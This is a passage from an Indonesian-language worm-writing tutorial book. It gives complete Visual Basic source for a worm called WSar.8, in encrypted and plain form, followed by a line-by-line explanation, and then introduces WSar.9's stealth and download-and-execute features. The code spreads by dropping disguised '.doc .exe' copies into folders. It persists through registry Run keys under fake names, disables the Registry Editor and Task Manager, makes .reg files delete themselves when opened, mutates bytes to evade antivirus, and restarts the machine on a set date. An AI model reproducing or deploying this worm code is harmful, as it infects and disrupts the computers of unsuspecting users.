Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, dan module mdlWinExit menggunakan module yang sama pada WSar.6. Tahap selanjutnya adalah mengetik kode program pada object frmWSar8, namun sebelumnya untuk mendapatkan suatu string terenkripsi (cipher text) dapat dilakukan dengan cara berikut ini: 1. Pastikan Anda sudah membuat module mdlCrypt 2. Aktifkan Immediate Window dengan cara menekan kombinasi tombol Ctrl+G 3. Pada jendela Immediate, ketik perintah berikut ini: Bab 14. Worm WSar.8
print encrypt("plain text")
Contoh, untuk mendapatkan cipher text dari string "Worm Komputer" dapat menggunakan perintah berikut ini
print encrypt("Worm Komputer")
223
Jasakom
Setelah itu, silahkan ketik kode program berikut ini pada object frmWSar8:
'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then WinExit(Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) MsgBox(Decrypt(" !"), _ vbInformation, Decrypt(" ... ")) End If 'Kangen removal If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then WinExit(Decrypt("\.")) WinExit(Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.*")) MsgBox(Decrypt(" !"), _ vbInformation, Decrypt(" ... ")) End If End Sub
Jasakom
224
Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = Decrypt _ (" ") objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = Decrypt(" ")
225
Jasakom
objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat. _ LeftIndent = 57 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" . . .") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _
Jasakom
226
"Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = Decrypt(" .") NamaCantik(1) = Decrypt(" .") NamaCantik(2) = Decrypt(" .") NamaCantik(3) = Decrypt(" .") NamaCantik(4) = Decrypt(" .") NamaCantik(5) = Decrypt(" .") NamaCantik(6) = Decrypt(" .") NamaCantik(7) = Decrypt(" .") NamaCantik(8) = Decrypt(" .") NamaCantik(9) = Decrypt(" .") For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = Decrypt("") Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = Decrypt("") Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" And _ WinCheck(Decrypt(".")) = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub
227
Jasakom
Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & Decrypt("\.")) = "" Or _ WinCheck(Decrypt(".")) = False Then PolyCopy(WormFile, SpecialFolder(0) & Decrypt("\.")) Shell(SpecialFolder(0) & Decrypt("\.")) End If If GetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " ")) <> SpecialFolder(0) & Decrypt("\.") Then SetStringValue(Decrypt("__\\" & _ "\\\"), Decrypt(" " & _ ""), SpecialFolder(0) & Decrypt("\.")) End If If GetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " ")) <> SpecialFolder(1) & Decrypt("\" & _ ".") Then SetStringValue(Decrypt("__\" & _ "\\\\"), Decrypt("" & _ " "), SpecialFolder(1) & Decrypt("\.")) End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub
Jasakom
228
Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & Decrypt _ ("\.")) = "" Or WinCheck(Decrypt _ (".")) = False Then PolyCopy(WormFile, SpecialFolder(1) & Decrypt("\.")) Shell(SpecialFolder(1) & Decrypt("\.")) End If tmrSPOOL32.Enabled = True End Sub Private Sub RegKiller() On Error Resume Next CreateKey(Decrypt("__\\" & _ "\\\\")) If GetDWORDValue(Decrypt("__\" & _ "\\\\\"), _ Decrypt("")) <> 1 Then SetDWORDValue(Decrypt("__\" & _ "\\\\\"), _ Decrypt(""), 1) End If If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then SetStringValue(Decrypt("__\\" & _ "\\"), "", Decrypt(". / ") & _ """%1""") Else SetStringValue(Decrypt("__\\" & _ "\\"), "", Decrypt(". / ") _ & """%1""") End If SetStringValue(Decrypt("__\"), _ Decrypt(""), "") End Sub Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If
229
Jasakom
If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Sebagai perbandingan berikut ini adalah source code pada object frmWSar8 yang belum terenkripsi.
'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function
Jasakom
230
Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & "\systask.exe") <> "" Then WinExit("systask.exe") Kill(SpecialFolder(1) & "\systask.exe") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Pesin") End If 'Kangen removal If Dir(SpecialFolder(1) & "\ccapps.exe") <> "" Then WinExit("ccapps.exe") WinExit("kangen.exe") Kill(SpecialFolder(1) & "\ccapps.exe") Kill(SpecialFolder(1) & "\kangen.exe") Kill(SpecialFolder(1) & "\winlog.*") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Kangen") End If End Sub Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = "SETIA HINGGA AKHIR MASA" objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph()
231
Jasakom
objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = "Malam ini ku bernyanyi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hanya gemintang menemani" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Memberiku sinaran" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Penyejuk hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kulangkahkan kakiku ini" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Doakanlah ku kan kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Tuk wujudkan semua harapan" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Cinta dan kasih abadi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Text = "Relakan sayang kepergianku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hapuslah air matamu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kuberjanji setulus hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kukan segera kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kuberi selembar fotoku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sebagai pengobat rindu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()
Jasakom
232
objWord.Selection.Text = "Kuberjanji kan tetap setia" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sampai akhir masa . . ." objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() End Sub Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = "puisi cinta.doc" NamaCantik(1) = "kangen terpendam.doc" NamaCantik(2) = "kenangan terlupa.doc" NamaCantik(3) = "kasih dalam duka.doc" NamaCantik(4) = "musuh tersayang.doc" NamaCantik(5) = "indahnya selingkuh.doc" NamaCantik(6) = "korban setia.doc" NamaCantik(7) = "syair bercinta.doc" NamaCantik(8) = "rindu terlarang.doc" NamaCantik(9) = "cinta segi empat.doc" For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next i End Sub
233
Jasakom
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = "spool32" Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = "winword" Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & "\WINWORD.EXE") <> "" And _ WinCheck("WINWORD.EXE") = True Then End tmrSPOOL32_Timer() Unload(Me) akhir: End Sub Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End If End Sub Private Sub PayLoad() Restart() End Sub Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End If End Sub Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & "\SPOOL32.EXE") = "" Or WinCheck _ ("SPOOL32.EXE") = False Then PolyCopy(WormFile, SpecialFolder(0) & "\SPOOL32.EXE") Shell(SpecialFolder(0) & "\SPOOL32.EXE") End If
Jasakom
234
If GetStringValue("HKEY_LOCAL_MACHINE\Software\Micr" & _ "osoft\Windows\CurrentVersion\Run", "Printer Cpl") <> _ SpecialFolder(0) & "\SPOOL32.EXE" Then SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Printer Cpl", SpecialFolder _ (0) & "\SPOOL32.EXE") End If If GetStringValue("HKEY_CURRENT_USER\Software\Micros" & _ "oft\Windows\CurrentVersion\Run", "Microsoft Word") <> _ SpecialFolder(1) & "\WINWORD.EXE" Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Run", "Microsoft Word", _ SpecialFolder(1) & "\WINWORD.EXE") End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = True End Sub Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & "\WINWORD.EXE") = "" _ Or WinCheck("WINWORD.EXE") = False Then PolyCopy(WormFile, SpecialFolder(1) & "\WINWORD.EXE") Shell(SpecialFolder(1) & "\WINWORD.EXE") End If tmrSPOOL32.Enabled = True End Sub Private Sub RegKiller() On Error Resume Next CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") <> 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End If If Dir(SpecialFolder(1) & "\cmd.exe") <> "" Then SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "cmd.exe /c del " & """%1""") Else SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "command.com /c del " & """%1""") End If SetStringValue("HKEY_CLASSES_ROOT\exefile", "NeverSho" & _ "wExt", "") End Sub
235
Jasakom
Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination) Open Destination For Binary As #1 Source = Space$(LOF(1)) Get #1, , Source PoliStr = Mid(Source, 113, 4) Put #1, InStr(1, Source, PoliStr), RndNum Close #1 End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Procedure WormFighter memeriksa file systask.exe pada direktori System Windows yang merupakan file dari worm lokal Pesin, jika ditemukan procedure akan memanggil function WinExit untuk mematikan proses file tersebut kemudian langsung menghapusnya. Worm kemu-
Jasakom
236
Kotak pesan serupa akan tampil jika WSar.8 menemukan file dari worm Kangen dan memperlakukan hal yang sama seperti halnya pada worm Pesin.
237
Jasakom
Procedure OpenApp akan membuka aplikasi Microsoft Word dengan teks ber-animasi lengkap, perhatikan gambar disamping ini.
Procedure Worming akan membuat array sebanyak 10 data yang akan digunakan sebagai nama file. Worm kemudian memeriksa direktori pada ListBox lstDir dengan mencari file yang berakhiran "doc. exe". Apabila file worm tidak ditemukan maka worm akan membuat salinannya ke direktori tersebut dengan salah satu nama file yang dipilih secara acak. Procedure Form_Load dijalankan saat pertama kali file worm dieksekusi. Sebelumnya procedure melakukan pemeriksaan apakah file tersebut sudah terproses atau tidak, jika ternyata sudah terproses maka worm langsung diakhiri, jika tidak maka langsung memanggil procedure RegKiller. Jika nama file utama adalah "spool32" maka worm akan disembunyikan dari jendela task list, kemudian mengatur properti Enabled pada object tmrSPOOL32 menjadi true, dan langsung mengakhiri sub procedure. Jika nama file utama adalah "winword" maka worm mengatur properti Enabled untuk object tmrWINWORD, tmrDir dan tmrIseng menjadi true, dan langsung mengakhiri sub procedure. Selain itu worm memanggil procedure OpenApp dan memeriksa apakah file WINWORD.EXE pada direktori System Windows sudah ada dan sedang terproses, jika ya maka langsung mengakhiri proses file utama, tetapi jika tidak ditemukan maka worm akan memanggil procedure tmrSPOOL32_Timer, kemudian mengakhiri proses file utama. Procedure tmrDir_Timer memanggil function GetDir dan menempatkan hasilnya pada ListBox lstDir, kemudian memanggil procedure Worming. Jika tanggal sekarang adalah 13 Oktober maka worm mengatur properti Enabled untuk object tmrIseng menjadi false, dan segera memanggil procedure Payload. Procedure tmrIseng_Timer memanggil function WildMouse dengan kondisi jika detik sekarang lebih besar dari 52 maka WildMouse bernilai true, selain itu WildMouse bernilai false. Procedure tmrWINWORD_Timer merupakan implementasi dari metode Watcher yang secara berkesinambungan melakukan pemeriksaan. Adapun pemeriksaan yang dilakukan adalah: Bab 14. Worm WSar.8
Jasakom
238
1. Jika file SPOOL32.EXE pada direktori system tidak ada atau tidak terproses maka procedure membuat salinan file utama ke direktori system dengan nama file tersebut dan langsung mengeksekusinya. 2. Jika procedure tidak mendapatkan nilai "Printer Cpl" dengan data alamat file worm SPOOL32.EXE pada key registry "HKEY_LOCAL_ MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. 3. Jika procedure tidak mendapatkan nilai "Microsoft Word" dengan data alamat file worm WINWORD.EXE pada key registry "HKEY_ LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut. Kemudian procedure tmrWINWORD_Timer memanggil procedure WormFighter dan menghentikan proses file taskmgr.exe. Procedure tmrSPOOL32_Timer melakukan hal yang sama seperti pada procedure tmrWINWORD_Timer hanya saja procedure ini diberikan tugas yang lebih sedikit yaitu melakukan pemeriksaan terhadap keberadaan dan status proses file WINWORD.EXE pada direktori Windows, jika tidak ditemukan atau tidak terproses maka procedure akan membuat salinan file utama ke direktori Windows dengan nama file tersebut dan langsung mengeksekusinya. Procedure RegKiller bertugas untuk memastikan aplikasi Registry Editor tidak dapat digunakan oleh user, kemudian memanipulasi suatu nilai registry yang akan menghapus file *.reg jika user bermaksud untuk mengimpor suatu nilai registry secara instant dengan mengklik ganda file tersebut. Function PolyCopy adalah function yang berguna sebagai pengganti function FileCopy untuk kepentingan metode polymorphic, dengan mengubah 4 byte pada byte ke 112, 113, 114 dan 115 ("mode") dengan 4 angka yang diambil secara acak. Module mdlCrypt memuat dua function yaitu function Encrypt yang berguna untuk mengenkripsi plain text menjadi cipher text, kemudian function Decrypt yang mengubah cipher text menjadi plain text semula.
239
Jasakom
Module mdlDir memuat tiga function dengan function utama function GetDir yang berguna untuk mendapatkan direktori aktif pada aplikasi Windows Explorer dan menempatkannya pada suatu ListBox tertentu. Module mdlRestart berfungsi untuk me-restart komputer, module mdlWildMouse berfungsi untuk membuat animasi pantulan-pantulan pointer mouse pada layar. Module mdlWinCheck berfungsi untuk memeriksa status proses suatu file. Catatan untuk WSar.8: berikut ini adalah contoh lain yang bisa diaplikasikan pada procedure OpenApp untuk membuka aplikasi Microsoft Excel:
Private Sub OpenApp() On Error Resume Next Dim objExcel As Object objExcel = CreateObject("Excel.Application") objExcel.Visible = True objExcel.WorkBooks.Add() objExcel.Sheets("Sheet2").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Sheets("Sheet3").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Cells.Select() objExcel.Selection.Interior.ColorIndex = 1 objExcel.Selection.Interior.Pattern = 1 objExcel.Selection.Font.ColorIndex = 2 objExcel.Columns.Select() objExcel.Selection.ColumnWidth = 1.43 objExcel.Selection.RowHeight = 11.25 objExcel.Range("AP4:AQ5;AQ3:AS3;AS4:AT5;AQ6:" & _ "AS6;AP7:AQ9;AS7:AT9;AQ10:AS10;E3:F4;F5:" & _ "G8;G9:H10;H8:I8;I4:I8;J3:J5;K4:K8;L8:M1" & _ "0;M5:N8;N3:O4;P4:Q6;Q3:T3;T4:U4;R6:S7;T" & _ "7:U9;P9:Q9;Q10:T10;W8:X10;X5:Y8;Y3:AA4;" & _ "AA5:AB8;AB8:AC10;Z8;AE3:AF10;AG3:AI3").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Range("AI4:AJ6;AG7:AI7;AH8:AI8;AI9;" & _ "AJ9;AJ10:AK10;AM9:AN10").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Cells.Select() With objExcel.Selection.Borders(3) .LineStyle = 1 .ColorIndex = 1 End With
Jasakom
240
objExcel.Cells.Select() With objExcel.Selection.Borders(1) .LineStyle = 1 .ColorIndex = 1 End With objExcel.Range("E12:AT12").Select() objExcel.Selection.Merge() objExcel.Selection.HorizontalAlignment = 3 objExcel.Selection.Interior.ColorIndex = 2 objExcel.Rows("12:12").RowHeight = 21.75 objExcel.Selection.Font.Bold = True objExcel.Range("E12:AT12").Select() objExcel.ActiveCell.FormulaR1C1 = "B R I N G" & _ " T H E T R U T H T O Y O U R H O M E" With objExcel.ActiveCell.Font .Name = "Arial Black" .Size = 14 .ColorIndex = 1 End With objExcel.Sheets("Sheet1").Select() objExcel.Sheets("Sheet1").Name = "By Achmad Darmal" objExcel.ActiveSheet.Protect(DrawingObjects:= _ True, Contents:=True, Scenarios:=True) End Sub
241
Jasakom
orm dasar 9 menggunakan beberapa metode yang terbilang masih baru di awal tahun 2006. WSar.9 bukan saja akan menghilang dari Task List, tetapi juga memanipulasi Tab Processes pada Task Manager Windows 2000/XP sehingga WSar.9 dapat mengubah nama proses worm menjadi salah satu nama proses pada system seperti "EXPLORER" atau "SVCHOST" yang tentunya tidak akan mencurigakan user. Bab 15. Worm WSar.9 Sebaliknya, WSar.9 dapat mengubah nama proses "EXPLORER" atau "SVCHOST" asli menjadi nama proses yang berbeda misalnya "Ini Worm Loh" yang akan meyakinkan user bahwa file tersebut adalah worm, mengapa? karena system komputer akan shutdown atau restart dengan sendirinya jika user mematikan proses tersebut yang sebenarnya adalah proses "EXPLORER" atau "SVCHOST" asli. File launcher WSar.9 menggunakan nama yang berbeda untuk setiap Windows startup, hal ini bertujuan agar keberadaan worm tidak terancam oleh program-program seperti aplikasi antivirus, yang menggunakan metode scanning pada nama file.
243
Jasakom
Worm ini juga melakukan aksi pemblokiran jika user mengakses situs yang mengandung suatu string tertentu pada address-nya, dengan langsung menutup aplikasi browser-nya. Dalam hal ini aplikasi browser yang dapat diblokir adalah Internet Explorer dan Netscape. Pada saat tertentu WSar.9 akan men-download suatu file pada situs tertentu dan langsung mengeksekusinya. Pada tahun 2004, metode ini banyak digunakan worm writer untuk me-release varian baru dan sebagian lagi worm writer memanfaatkan metode ini untuk menyisipkan suatu backdoor. WSar.9 termasuk worm yang terkesan terbuka dan pamer, karena saat WSar.9 menginfeksi suatu system, WSar.9 akan memenuhi komputer tersebut dengan icon bergambar hati. WSar.9 tidak hanya memanipulasi icon My Computer seperti yang dilakukan oleh worm Kangen, tetapi juga pada My Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe".
Berikut ini adalah contoh procedure yang dapat digunakan dalam pengaplikasian metode Drop File.
Jasakom
244
